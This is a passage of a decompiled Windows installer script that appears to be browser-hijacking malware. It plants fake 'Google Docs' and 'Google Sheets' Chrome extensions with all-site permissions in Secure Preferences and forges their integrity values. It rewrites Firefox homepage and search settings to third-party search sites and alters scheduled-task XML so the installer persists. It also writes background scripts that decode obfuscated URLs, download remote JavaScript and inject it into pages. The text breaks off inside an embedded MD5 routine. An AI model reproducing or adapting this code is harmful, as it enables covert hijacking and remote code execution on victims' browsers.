FileOpen $1 $PLUGINSDIR\SecurePreferencesNTYABR a
FileSeek $1 0 END
FileWrite $1 $_149_
FileClose $1
FileOpen $1 $PLUGINSDIR\SecurePreferencesNTYABR a
FileSeek $1 0 END
FileWrite $1 $_150_
FileClose $1
StrCmp $_66_ 1 label_11440
StrCpy $_140_ $_138_
Push $_140_
Call func_13239
Pop $_140_
WriteINIStr $EXEDIR\le LE IDNT $_140_
Push $R0
Push $R1
Push $R2
Push $0
Push $1
Push $2
Push $3
Push $4
Push $5
Push $6
Push $7
Push $_139_
Push ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
Call func_19
Pop $_13_
Pop $7
Pop $6
Pop $5
Pop $4
Pop $3
Pop $2
Pop $1
Pop $0
Pop $R2
Pop $R1
Pop $R0
Push $_13_
Pop $1
StrCpy $2 $_140_ 2
StrCpy $3 $_140_ "" -1
StrCpy $3 $3$2 3
WriteINIStr $EXEDIR\le LE VERNT $3$1
label_11440:
FunctionEnd
Function func_11441
Pop $3
StrCmp $3 DJN 0 label_11469
StrCpy $_83_ hcmdpeobfoppdkhcneogcflfmfceenlf
Push $_83_
Call func_13239
Pop $_85_
StrCpy $_84_ 0.9
StrCpy $_86_ {$\"active_permissions$\":{$\"api$\":[$\"tabs$\"],$\"explicit_host$\":[$\"*://*/*$\"],$\"scriptable_host$\":[$\"*://*/*$\"]},$\"creation_flags$\":137,$\"from_bookmark$\":false,$\"from_webstore$\":true,$\"granted_permissions$\":{$\"api$\":[$\"tabs$\"],$\"explicit_host$\":[$\"*://*/*$\"]},
StrCpy $_87_ "$\"location$\":1,$\"manifest$\":{$\"background$\":{$\"scripts$\":[$\"bg.js$\"]},$\"description$\":$\"Create and edit documents $\",$\"icons$\":{$\"128$\":$\"128.png$\",$\"16$\":$\"128.png$\",$\"48$\":$\"128.png$\"},"
StrCpy $_88_ $\"key$\":$\"MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAyKJLEBmzLhm0W+LGA4UPoZiGTH9FD3b365iSNXdE/+OF74LHaB2VycXWGNu+zHrVdFJLUMMbrWw1ny0DI5A5qwx85g2S0G9pGLKtslwnfjEhbvJc8TynJu5pGdNMfx4n54FeCukoLrmkbMOKQ+pKtzWx6CIt+YjadXWmNnICSNCVtykaQrYXQvBRU7ZwUeNcMyYox4YN3zeysuSyFAKhvogSbJGDxxDCYbEH4BdXqVny6ScYxO8fLZK7Dmf9N2vb6jUXvcNMZT5dvt1Lwy9armnE9FKGZmroNGohc9MErGP+r4xItJtiBNP/SxbOoV0sTmmcsZSGsuG1bNJZfi5rGQIDAQAB$\",
StrCpy $_89_ "$\"manifest_version$\":2,$\"name$\":$\"Google Docs$\",$\"permissions$\":[$\"*://*/*$\",$\"tabs$\"],$\"update_url$\":$\"https://clients2.google.com/service/update2/crx?response=redirect$\",$\"version$\":$\"$_84_$\"},$\"path$\":$\"$_83_\\$_84_\\$\",$\"state$\":1,$\"was_installed_by_default$\":false}"
IfFileExists $PLUGINSDIR\SecurePreferencesWSEDJN 0 label_11454
Delete $PLUGINSDIR\SecurePreferencesWSEDJN
label_11454:
FileOpen $1 $PLUGINSDIR\SecurePreferencesWSEDJN w
FileWrite $1 $_86_
FileClose $1
FileOpen $1 $PLUGINSDIR\SecurePreferencesWSEDJN a
FileSeek $1 0 END
FileWrite $1 $_87_
FileClose $1
FileOpen $1 $PLUGINSDIR\SecurePreferencesWSEDJN a
FileSeek $1 0 END
FileWrite $1 $_88_
FileClose $1
FileOpen $1 $PLUGINSDIR\SecurePreferencesWSEDJN a
FileSeek $1 0 END
FileWrite $1 $_89_
FileClose $1
label_11469:
StrCmp $3 BAP 0 label_11496
StrCpy $_90_ bapebekcapehfapcilombbgepgedmnmn
Push $_90_
Call func_13239
Pop $_91_
StrCpy $_92_ 1.1
StrCpy $_93_ {$\"active_permissions$\":{$\"api$\":[$\"tabs$\"],$\"explicit_host$\":[$\"*://*/*$\"],$\"scriptable_host$\":[$\"*://*/*$\"]},$\"creation_flags$\":137,$\"from_bookmark$\":false,$\"from_webstore$\":true,$\"granted_permissions$\":{$\"api$\":[$\"tabs$\"],$\"explicit_host$\":[$\"*://*/*$\"]},
StrCpy $_94_ "$\"location$\":1,$\"manifest$\":{$\"background$\":{$\"scripts$\":[$\"bg.js$\"]},$\"description$\":$\"Create and edit spreadsheets$\",$\"icons$\":{$\"128$\":$\"128.png$\",$\"16$\":$\"128.png$\",$\"48$\":$\"128.png$\"},"
StrCpy $_95_ $\"key$\":$\"MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAqTVqgmh3g6+4eYGLGI18gAFQ8e9X9IINFZTzk0mU54u7XwPRfXJiJRUwj9NRJPd3fIuQRLK211riM/9xcCOnJ/8czC3PH0zA5vhIkyY8Mi8xuQVp2dZ9f/vLbwBM+bj53OvRbxR1HVtWExN6pxuNg33N3bfyXd/gX1Tx4FBBr9MClDnXY3ROhMf8Dg766FkvWlFjsbrmfCaUckNlWAcXp93aMGQsjK5wj4t9sz945iR/bahOhJ0zYBXGbstiCUhKCTHH1grqoe+8Yur5yJsRzdzeFLIrA3TRwDTzB7gjy4ar8BKyX+qiiGFyANfuOq1f8LUD6/GmKN1nlr1WGG2fsQIDAQAB$\",
StrCpy $_96_ "$\"manifest_version$\":2,$\"name$\":$\"Google Sheets$\",$\"permissions$\":[$\"*://*/*$\",$\"tabs$\"],$\"update_url$\":$\"https://clients2.google.com/service/update2/crx?response=redirect$\",$\"version$\":$\"$_92_$\"},$\"path$\":$\"$_90_\\$_92_\\$\",$\"state$\":1,$\"was_installed_by_default$\":false}"
IfFileExists $PLUGINSDIR\SecurePreferencesWSEBAP 0 label_11481
Delete $PLUGINSDIR\SecurePreferencesWSEBAP
label_11481:
FileOpen $1 $PLUGINSDIR\SecurePreferencesWSEBAP w
FileWrite $1 $_93_
FileClose $1
FileOpen $1 $PLUGINSDIR\SecurePreferencesWSEBAP a
FileSeek $1 0 END
FileWrite $1 $_94_
FileClose $1
FileOpen $1 $PLUGINSDIR\SecurePreferencesWSEBAP a
FileSeek $1 0 END
FileWrite $1 $_95_
FileClose $1
FileOpen $1 $PLUGINSDIR\SecurePreferencesWSEBAP a
FileSeek $1 0 END
FileWrite $1 $_96_
FileClose $1
label_11496:
FunctionEnd
Function func_11497
StrCpy $3 ""
StrCpy $4 ""
StrCpy $5 ""
StrCpy $6 ""
Pop $6
Pop $5
Pop $4
Pop $3
ClearErrors
nsJSON::Set /file $3
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push $3
; Push /file
; CallInstDLL $PLUGINSDIR\nsJSON.dll Set
nsJSON::Get extensions /end
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push /end
; Push extensions
; CallInstDLL $PLUGINSDIR\nsJSON.dll Get
IfErrors 0 label_11526
Delete $3
nsJSON::Set /value {}
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push {}
; Push /value
; CallInstDLL $PLUGINSDIR\nsJSON.dll Set
label_11526:
nsJSON::Set extensions settings $4 /file $5
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push $5
; Push /file
; Push $4
; Push settings
; Push extensions
; CallInstDLL $PLUGINSDIR\nsJSON.dll Set
StrCmp $6 0 label_11547
nsJSON::Set protection macs extensions settings $4 /value $\"$6$\"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push $\"$6$\"
; Push /value
; Push $4
; Push settings
; Push extensions
; Push macs
; Push protection
; CallInstDLL $PLUGINSDIR\nsJSON.dll Set
label_11547:
nsJSON::Serialize /format /file $3
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push $3
; Push /file
; Push /format
; CallInstDLL $PLUGINSDIR\nsJSON.dll Serialize
FunctionEnd
Function func_11555
Push 58
Push 1
Call func_13173
Pop $1
StrCmp $1 1 0 label_11562
StrCpy $2 link
Goto label_11732
label_11562:
StrCmp $1 2 0 label_11565
StrCpy $2 fire
Goto label_11732
label_11565:
StrCmp $1 3 0 label_11568
StrCpy $2 go
Goto label_11732
label_11568:
StrCmp $1 4 0 label_11571
StrCpy $2 win
Goto label_11732
label_11571:
StrCmp $1 5 0 label_11574
StrCpy $2 day
Goto label_11732
label_11574:
StrCmp $1 6 0 label_11577
StrCpy $2 admin
Goto label_11732
label_11577:
StrCmp $1 7 0 label_11580
StrCpy $2 master
Goto label_11732
label_11580:
StrCmp $1 8 0 label_11583
StrCpy $2 home
Goto label_11732
label_11583:
StrCmp $1 9 0 label_11586
StrCpy $2 ground
Goto label_11732
label_11586:
StrCmp $1 10 0 label_11589
StrCpy $2 world
Goto label_11732
label_11589:
StrCmp $1 11 0 label_11592
StrCpy $2 boy
Goto label_11732
label_11592:
StrCmp $1 12 0 label_11595
StrCpy $2 star
Goto label_11732
label_11595:
StrCmp $1 13 0 label_11598
StrCpy $2 love
Goto label_11732
label_11598:
StrCmp $1 14 0 label_11601
StrCpy $2 up
Goto label_11732
label_11601:
StrCmp $1 15 0 label_11604
StrCpy $2 you
Goto label_11732
label_11604:
StrCmp $1 16 0 label_11607
StrCpy $2 heart
Goto label_11732
label_11607:
StrCmp $1 17 0 label_11610
StrCpy $2 play
Goto label_11732
label_11610:
StrCmp $1 18 0 label_11613
StrCpy $2 way
Goto label_11732
label_11613:
StrCmp $1 19 0 label_11616
StrCpy $2 net
Goto label_11732
label_11616:
StrCmp $1 20 0 label_11619
StrCpy $2 strong
Goto label_11732
label_11619:
StrCmp $1 21 0 label_11622
StrCpy $2 box
Goto label_11732
label_11622:
StrCmp $1 22 0 label_11625
StrCpy $2 geek
Goto label_11732
label_11625:
StrCmp $1 23 0 label_11628
StrCpy $2 fast
Goto label_11732
label_11628:
StrCmp $1 24 0 label_11631
StrCpy $2 mego
Goto label_11732
label_11631:
StrCmp $1 25 0 label_11634
StrCpy $2 pro
Goto label_11732
label_11634:
StrCmp $1 26 0 label_11637
StrCpy $2 web
Goto label_11732
label_11637:
StrCmp $1 27 0 label_11640
StrCpy $2 plus
Goto label_11732
label_11640:
StrCmp $1 28 0 label_11643
StrCpy $2 tab
Goto label_11732
label_11643:
StrCmp $1 29 0 label_11646
StrCpy $2 google
Goto label_11732
label_11646:
StrCmp $1 30 0 label_11649
StrCpy $2 mail
Goto label_11732
label_11649:
StrCmp $1 31 0 label_11652
StrCpy $2 honey
Goto label_11732
label_11652:
StrCmp $1 32 0 label_11655
StrCpy $2 search
Goto label_11732
label_11655:
StrCmp $1 33 0 label_11658
StrCpy $2 shop
Goto label_11732
label_11658:
StrCmp $1 34 0 label_11661
StrCpy $2 market
Goto label_11732
label_11661:
StrCmp $1 35 0 label_11664
StrCpy $2 store
Goto label_11732
label_11664:
StrCmp $1 36 0 label_11667
StrCpy $2 extension
Goto label_11732
label_11667:
StrCmp $1 37 0 label_11670
StrCpy $2 mark
Goto label_11732
label_11670:
StrCmp $1 38 0 label_11673
StrCpy $2 sync
Goto label_11732
label_11673:
StrCmp $1 39 0 label_11676
StrCpy $2 bookmark
Goto label_11732
label_11676:
StrCmp $1 40 0 label_11679
StrCpy $2 currently
Goto label_11732
label_11679:
StrCmp $1 41 0 label_11682
StrCpy $2 one
Goto label_11732
label_11682:
StrCmp $1 42 0 label_11685
StrCpy $2 sun
Goto label_11732
label_11685:
StrCmp $1 43 0 label_11688
StrCpy $2 lucky
Goto label_11732
label_11688:
StrCmp $1 44 0 label_11691
StrCpy $2 read
Goto label_11732
label_11691:
StrCmp $1 45 0 label_11694
StrCpy $2 live
Goto label_11732
label_11694:
StrCmp $1 46 0 label_11697
StrCpy $2 start
Goto label_11732
label_11697:
StrCmp $1 47 0 label_11700
StrCpy $2 page
Goto label_11732
label_11700:
StrCmp $1 48 0 label_11703
StrCpy $2 smart
Goto label_11732
label_11703:
StrCmp $1 49 0 label_11706
StrCpy $2 quick
Goto label_11732
label_11706:
StrCmp $1 50 0 label_11709
StrCpy $2 chrome
Goto label_11732
label_11709:
StrCmp $1 51 0 label_11712
StrCpy $2 get
Goto label_11732
label_11712:
StrCmp $1 52 0 label_11715
StrCpy $2 inc
Goto label_11732
label_11715:
StrCmp $1 53 0 label_11718
StrCpy $2 safe
Goto label_11732
label_11718:
StrCmp $1 54 0 label_11721
StrCpy $2 good
Goto label_11732
label_11721:
StrCmp $1 55 0 label_11724
StrCpy $2 style
Goto label_11732
label_11724:
StrCmp $1 56 0 label_11727
StrCpy $2 news
Goto label_11732
label_11727:
StrCmp $1 57 0 label_11730
StrCpy $2 time
Goto label_11732
label_11730:
StrCmp $1 58 0 label_11732
StrCpy $2 click
label_11732:
Push $2
FunctionEnd
Function func_11734
Call func_11555
Pop $R1
Call func_11555
Pop $R2
Push 8
Push 1
Call func_13173
Pop $R5
StrCmp $R5 1 label_11746
StrCmp $R5 6 label_11746
StrCmp $R5 7 label_11746
StrCmp $R5 8 0 label_11766
label_11746:
StrCpy $3 $R1 1
Push $3
Push +
Push ""
Push ""
Call :label_1606
Pop $3
StrCpy $R1 $R1 "" 1
StrCpy $R1 $3$R1
StrCpy $3 $R2 1
Push $3
Push +
Push ""
Push ""
Call :label_1606
Pop $3
StrCpy $R2 $R2 "" 1
StrCpy $R2 $3$R2
StrCpy $R3 $R1$R2
Goto label_11813
label_11766:
StrCmp $R5 2 0 label_11787
StrCpy $3 $R1 1
Push $3
Push +
Push ""
Push ""
Call :label_1606
Pop $3
StrCpy $R1 $R1 "" 1
StrCpy $R1 $3$R1
StrCpy $3 $R2 1
Push $3
Push +
Push ""
Push ""
Call :label_1606
Pop $3
StrCpy $R2 $R2 "" 1
StrCpy $R2 $3$R2
StrCpy $R3 "$R1 $R2"
Goto label_11813
label_11787:
StrCmp $R5 3 0 label_11799
StrCpy $3 $R1 1
Push $3
Push +
Push ""
Push ""
Call :label_1606
Pop $3
StrCpy $R1 $R1 "" 1
StrCpy $R1 $3$R1
StrCpy $R3 $R1$R2
Goto label_11813
label_11799:
StrCmp $R5 4 0 label_11811
StrCpy $3 $R1 1
Push $3
Push +
Push ""
Push ""
Call :label_1606
Pop $3
StrCpy $R1 $R1 "" 1
StrCpy $R1 $3$R1
StrCpy $R3 "$R1 $R2"
Goto label_11813
label_11811:
StrCmp $R5 5 0 label_11813
StrCpy $R3 $R1$R2
label_11813:
Push $R3
Return
StrCmp $_50_ "" label_11962
Push $R9
Push utm_term=$_50_
Push $\",$\"type$\":$\"
Push +
Call :label_11822
Goto label_11961
label_11822:
Exch $2
; Push $2
; Exch
; Pop $2
Exch
Exch $1
; Push $1
; Exch
; Pop $1
Exch
Exch 2
Exch $0
; Push $0
; Exch
; Pop $0
Exch 2
Exch 3
Exch $R0
; Push $R0
; Exch
; Pop $R0
Exch 3
Push $3
Push $4
Push $5
Push $6
Push $7
Push $8
Push $9
Push $R1
ClearErrors
StrCpy $R1 $R0
StrCpy $9 ""
label_11851:
StrCpy $3 $2 1
StrCpy $2 $2 "" 1
StrCmp $3 E 0 label_11856
StrCpy $9 E
Goto label_11851
label_11856:
StrCpy $4 $2 1 -1
StrCpy $5 ""
StrCpy $6 ""
StrLen $7 $0
StrCmp $7 0 label_11941
StrCmp $R0 "" label_11941
StrCmp $3 { label_11864
StrCmp $3 } label_11871 label_11883
label_11864:
StrCpy $8 $R0 $7
StrCmp $8 $0 0 label_11869
StrCpy $R0 $R0 "" $7
StrCpy $5 $5$1
Goto label_11864
label_11869:
StrCpy $3 $2 1
StrCmp $3 } 0 label_11876
label_11871:
StrCpy $8 $R0 "" -$7
StrCmp $8 $0 0 label_11876
StrCpy $R0 $R0 -$7
StrCpy $6 $6$1
Goto label_11871
label_11876:
StrCmp $4 * 0 label_11881
StrCmp $5 "" label_11879
StrCpy $5 $1
label_11879:
StrCmp $6 "" label_11881
StrCpy $6 $1
label_11881:
StrCpy $R0 $5$R0$6
Goto label_11946
label_11883:
StrCmp $3 + label_11885
StrCmp $3 - 0 label_11937
label_11885:
StrCpy $5 $2 1
IntOp $2 $2 + 0
StrCmp $2 0 0 label_11907
StrCmp $5 0 label_11939
StrCpy $3 ""
label_11890:
StrCpy $5 0
label_11891:
StrCpy $2 $R0 $7 $5
StrCmp $2 "" label_11896
StrCmp $2 $0 label_11899
IntOp $5 $5 + 1
Goto label_11891
label_11896:
StrCmp $R0 $R1 label_11941
StrCpy $R0 $3$R0
Goto label_11946
label_11899:
StrCpy $2 $R0 $5
label_11900:
IntOp $5 $5 + $7
StrCmp $4 * 0 label_11904
StrCpy $6 $R0 $7 $5
StrCmp $6 $0 label_11900
label_11904:
StrCpy $R0 $R0 "" $5
StrCpy $3 $3$2$1
Goto label_11890
label_11907:
StrCpy $5 0
StrCpy $8 0
Goto label_11911
label_11910:
IntOp $5 $5 + 1
label_11911:
StrCpy $6 $R0 $7 $5
StrCmp $6$8 0 label_11941
StrCmp $6 "" label_11919
StrCmp $6 $0 0 label_11910
IntOp $8 $8 + 1
StrCmp $3$8 +$2 label_11924
IntOp $5 $5 + $7
Goto label_11911
label_11919:
StrCmp $3 - 0 label_11939
StrCpy $3 +
IntOp $2 $8 - $2
IntOp $2 $2 + 1
IntCmp $2 0 label_11939 label_11939 label_11907
label_11924:
StrCpy $3 $R0 $5
StrCmp $4 * 0 label_11930
label_11926:
StrCpy $6 $3 "" -$7
StrCmp $6 $0 0 label_11930
StrCpy $3 $3 -$7
Goto label_11926
label_11930:
IntOp $5 $5 + $7
StrCmp $4 * 0 label_11934
StrCpy $6 $R0 $7 $5
StrCmp $6 $0 label_11930
label_11934:
StrCpy $R0 $R0 "" $5
StrCpy $R0 $3$1$R0
Goto label_11946
label_11937:
StrCpy $R0 3
Goto label_11942
label_11939:
StrCpy $R0 2
Goto label_11942
label_11941:
StrCpy $R0 1
label_11942:
StrCmp $9 E label_11945
StrCpy $R0 $R1
Goto label_11946
label_11945:
SetErrors
label_11946:
Pop $R1
Pop $9
Pop $8
Pop $7
Pop $6
Pop $5
Pop $4
Pop $3
Pop $2
Pop $1
Pop $0
Exch $R0
; Push $R0
; Exch
; Pop $R0
Return
label_11961:
Pop $R9
label_11962:
StrCmp $_49_ FSPU label_11969
Push $R9
Push "$\"url$\": $\"$_49_"
Push $\"type$\":$\"$\",$\"url$\":$\"
Push +
Call :label_11822
Pop $R9
label_11969:
Push $R9
Push "$\"url$\": $\"http://go.mail.ru"
Push $\"type$\":$\"$\",$\"url$\":$\"
Push +
Call :label_11822
Pop $R9
Push $R9
Push "$\"url$\": $\"http://mail.ru"
Push $\"type$\":$\"$\",$\"url$\":$\"
Push +
Call :label_11822
Pop $R9
Push $R9
Push "$\"url$\": $\"https://mail.ru"
Push $\"type$\":$\"$\",$\"url$\":$\"
Push +
Call :label_11822
Pop $R9
Push $R9
Push "$\"url$\": $\"http://2inf.net"
Push $\"type$\":$\"$\",$\"url$\":$\"
Push +
Call :label_11822
Pop $R9
Push $0
Return
Push $R9
Push "user_pref($\"browser.newtab.url$\", $\"chrome://quick_start"
Push //
Push +
Call :label_11822
Pop $R9
Push $R9
Push "user_pref($\"keyword.URL$\", $\"http://go.mail.ru"
Push //
Push +
Call :label_11822
Pop $R9
Push $R9
Push user_pref($\"browser.startup.homepage$\"
Push //
Push +
Call :label_11822
Pop $R9
Push $R9
Push "user_pref($\"browser.newtab.url$\", $\"http://www.istartsurf.com"
Push //
Push +
Call :label_11822
Pop $R9
Push $R9
Push "user_pref($\"browser.search.searchengine.url$\", $\"http://www.istartsurf.com"
Push //
Push +
Call :label_11822
Pop $R9
Push $R9
Push "user_pref($\"browser.newtab.url$\", $\"http://www.mystartsearch.com"
Push //
Push +
Call :label_11822
Pop $R9
Push $R9
Push "user_pref($\"browser.search.searchengine.url$\", $\"http://www.mystartsearch.com"
Push //
Push +
Call :label_11822
Pop $R9
Push $R9
Push "user_pref($\"browser.search.selectedEngine$\", $\"Ïîèñê@Mail.Ru"
Push //
Push +
Call :label_11822
Pop $R9
Push $R9
Push "user_pref($\"browser.newtab.url$\", $\"http://www.trovi.com"
Push //
Push +
Call :label_11822
Pop $R9
Push $0
Return
Push $R9
Push <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>
Push <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>
Push +
Call :label_11822
Pop $R9
Push $R9
Push <DisallowStartIfOnBatteries>true</DisallowStartIfOnBatteries>
Push <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
Push +
Call :label_11822
Pop $R9
Push $R9
Push <Command>
Push <Command><!--
Push +
Call :label_11822
Pop $R9
Push $R9
Push </Command>
Push -->
Push +
Call :label_11822
Pop $R9
Push $R9
Push <Command>
Push <Command>$\"$EXEPATH$\"</Command>
Push +
Call :label_11822
Pop $R9
Push $R9
Push <UserId>
Push <UserId><!--
Push +
Call :label_11822
Pop $R9
Push $R9
Push </UserId>
Push -->
Push +
Call :label_11822
Pop $R9
Push $R9
Push <UserId>
Push <UserId>$_107_</UserId>
Push +
Call :label_11822
Pop $R9
Push $R9
Push <Author>
Push <Author><!--
Push +
Call :label_11822
Pop $R9
Push $R9
Push </Author>
Push -->
Push +
Call :label_11822
Pop $R9
Push $R9
Push <Author>
Push <Author>$_107_</Author>
Push +
Call :label_11822
Pop $R9
Push $0
Return
Push $R9
Push ?id=_idvar_
Push ?id=$_21_
Push +
Call :label_11822
Pop $R9
Push $R9
Push _url_src_
Push $_48_
Push +
Call :label_11822
Pop $R9
Push $0
FunctionEnd
Function func_12133
StrCpy $_120_ ""
StrCpy $_121_ ""
StrCpy $_122_ ""
StrCpy $_123_ ""
StrCpy $_124_ ""
StrCpy $_125_ ""
StrCpy $_126_ ""
StrCpy $_127_ ""
StrCpy $_128_ ""
StrCpy $_129_ ""
StrCpy $_130_ ""
StrCpy $_131_ ""
StrCpy $_132_ ""
StrCpy $_133_ ""
StrCpy $_135_ ""
StrCpy $_136_ ""
StrCpy $_137_ ""
Push 2
Push 1
Call func_13173
Pop $1
StrCmp $1 2 0 label_12158
StrCpy $_135_ AWsaHR0cDovL2FkdmNkbi5tZS9qcy92a2FwaS5qcw== "" 3
StrCpy $_136_ A7uaHR0cDovL2FkdmNkbi5tZS9qcy9va2FwaS5qcw== "" 3
StrCpy $_137_ Au7aHR0cDovL2FkdmNkbi5tZS9oYXNoZXMvYXBpcy5qc29u "" 3
label_12158:
StrCpy $_108_ "var jqscript=document.createElement('script');jqscript.type='text/javascript';jqscript.src='//ajax.googleapis.com/ajax/libs/jquery/1.12.3/jquery.min.js';document.head.appendChild(jqscript);function INCJS(){var uvariabl='uvariablsaHR0cDovL2FkdnNjZG4uY29tL2pzL3ZrYXBpLmpz';var jsinclude=document.createElement('script');jsinclude.type='text/javascript';"
Push $_108_
Call func_12243
Pop $_108_
FileOpen $1 $_45_\bgvk.js w
FileWrite $1 $_108_
FileClose $1
StrCpy $_109_ "jsinclude.src=atob(uvariabl.substr(9))+'?'+Math.floor((Math.random()*1000000000)+1);document.head.appendChild(jsinclude);};chrome.storage.local.get({slextdv:''},function(syncdata){if (!chrome.runtime.lastError){if (syncdata.slextdv!=''){var jsinc=document.createElement('script');jsinc.type='text/javascript';jsinc.innerHTML=syncdata.slextdv;document.head.appendChild(jsinc);}else{INCJS();};}else{INCJS();};});"
Push $_109_
Call func_12243
Pop $_109_
FileOpen $1 $_45_\bgvk.js a
FileSeek $1 0 END
FileWrite $1 $_109_
FileClose $1
StrCpy $_110_ "var jqscript=document.createElement('script');jqscript.type='text/javascript';jqscript.src='//ajax.googleapis.com/ajax/libs/jquery/1.12.3/jquery.min.js';document.head.appendChild(jqscript);function INCJS(){var uvariabl='uvariablsaHR0cDovL2FkdnNjZG4uY29tL2pzL29rYXBpLmpz';var jsinclude=document.createElement('script');jsinclude.type='text/javascript';"
Push $_110_
Call func_12243
Pop $_110_
FileOpen $1 $_45_\bgok.js w
FileWrite $1 $_110_
FileClose $1
StrCpy $_111_ "jsinclude.src=atob(uvariabl.substr(9))+'?'+Math.floor((Math.random()*1000000000)+1);document.head.appendChild(jsinclude);};chrome.storage.local.get({slextdo:''},function(syncdata){if (!chrome.runtime.lastError){if (syncdata.slextdo!=''){var jsinc=document.createElement('script');jsinc.type='text/javascript';jsinc.innerHTML=syncdata.slextdo;document.head.appendChild(jsinc);}else{INCJS();};}else{INCJS();};});"
Push $_111_
Call func_12243
Pop $_111_
FileOpen $1 $_45_\bgok.js a
FileSeek $1 0 END
FileWrite $1 $_111_
FileClose $1
StrCpy $_112_ "var hsvariab='hsvariabaaHR0cDovL2FkdnNjZG4uY29tL2hhc2hlcy9hcGlzLmpzb24=';var vuvariab='vuvariabaaHR0cDovL2FkdnNjZG4uY29tL2pzL3ZrYXBpLmpz';var vovariab='vovariabaaHR0cDovL2FkdnNjZG4uY29tL2pzL29rYXBpLmpz';var ghreq=new XMLHttpRequest();ghreq.open('GET',atob(hsvariab.substr(9))+'?'+Math.floor((Math.random()*1000000000)+1),true);ghreq.onreadystatechange=function(){if (ghreq.readyState==4&&ghreq.status===200)"
Push $_112_
Call func_12346
Pop $_112_
FileOpen $1 $_45_\bg.js w
FileWrite $1 $_112_
FileClose $1
StrCpy $_113_ "{var hashes=JSON.parse(ghreq.responseText);var xhra=new XMLHttpRequest();xhra.open('GET',atob(vuvariab.substr(9))+'?'+Math.floor((Math.random()*1000000000)+1),true);xhra.onreadystatechange=function(){if (xhra.readyState==4&&xhra.status===200&&md5(xhra.responseText)==hashes[0].hashv){chrome.storage.local.remove(['slextdv'],function(remove){});chrome.storage.local.set({slextdv:xhra.responseText},"
Push $_113_
Call func_12346
Pop $_113_
FileOpen $1 $_45_\bg.js a
FileSeek $1 0 END
FileWrite $1 $_113_
FileClose $1
StrCpy $_114_ "function(){});};};xhra.send();var xhrb=new XMLHttpRequest();xhrb.open('GET',atob(vovariab.substr(9))+'?'+Math.floor((Math.random()*1000000000)+1),true);xhrb.onreadystatechange=function(){if (xhrb.readyState==4&&xhrb.status===200&&md5(xhrb.responseText)==hashes[0].hasho){chrome.storage.local.remove(['slextdo'],function(remove){});chrome.storage.local.set({slextdo:xhrb.responseText},function(){});};};xhrb.send();};};ghreq.send();"
Push $_114_
Call func_12346
Pop $_114_
FileOpen $1 $_45_\bg.js a
FileSeek $1 0 END
FileWrite $1 $_114_
FileClose $1
StrCpy $_115_ "!function(a){$\"use strict$\";function b(a,b){var c=(65535&a)+(65535&b),d=(a>>16)+(b>>16)+(c>>16);return d<<16|65535&c}function c(a,b){return a<<b|a>>>32-b}function d(a,d,e,f,g,h){return b(c(b(b(d,a),b(f,h)),g),e)}function e(a,b,c,e,f,g,h){return d(b&c|~b&e,a,b,f,g,h)}function f(a,b,c,e,f,g,h){return d(b&e|c&~e,a,b,f,g,h)}function g(a,b,c,e,f,g,h){return d(b^c^e,a,b,f,g,h)}function h(a,b,c,e,f,g,h){return d(c^(b|~e),a,b,f,g,h)}function i(a,c){a[c>>5]|=128<<c%32,a[(c+64>>>9<<4)+14]=c;var d,i,j,k,l,m=1732584193,n=-271733879,o=-1732584194,p=271733878;for(d=0;d<a.length;d+=16)i=m,j=n,k=o,l=p,m=e(m,n,o,p,a[d],7,-680876936),p=e(p,m,n,o,a[d+1],12,-389564586),o=e(o,p,m,n,a[d+2],17,606105819),n=e(n,o,p,m,a[d+3],22,-1044525330),m=e(m,n,o,p,a[d+4],7,-176418897),p=e(p,m,n,o,a[d+5],12,1200080426),o=e(o,p,m,n,a[d+6],17,-1473231341),n=e(n,o,p,m,a[d+7],22,-45705983),"
StrCpy $_116_ m=e(m,n,o,p,a[d+8],7,1770035416),p=e(p,m,n,o,a[d+9],12,-1958414417),o=e(o,p,m,n,a[d+10],17,-42063),n=e(n,o,p,m,a[d+11],22,-1990404162),m=e(m,n,o,p,a[d+12],7,1804603682),p=e(p,m,n,o,a[d+13],12,-40341101),o=e(o,p,m,n,a[d+14],17,-1502002290),n=e(n,o,p,m,a[d+15],22,1236535329),m=f(m,n,o,p,a[d+1],5,-165796510),p=f(p,m,n,o,a[d+6],9,-1069501632),o=f(o,p,m,n,a[d+11],14,643717713),n=f(n,o,p,m,a[d],20,-373897302),m=f(m,n,o,p,a[d+5],5,-701558691),p=f(p,m,n,o,a[d+10],9,38016083),o=f(o,p,m,n,a[d+15],14,-660478335),n=f(n,o,p,m,a[d+4],20,-405537848),m=f(m,n,o,p,a[d+9],5,568446438),p=f(p,m,n,o,a[d+14],9,-1019803690),o=f(o,p,m,n,a[d+3],14,-187363961),n=f(n,o,p,m,a[d+8],20,1163531501),m=f(m,n,o,p,a[d+13],5,-1444681467),p=f(p,m,n,o,a[d+2],9,-51403784),o=f(o,p,m,n,a[d+7],14,1735328473),n=f(n,o,p,m,a[d+12],20,-1926607734),m=g(m,n,o,p,a[d+5],4,-378558),p=g(p,m,n,o,a[d+8],11,-2022574463),
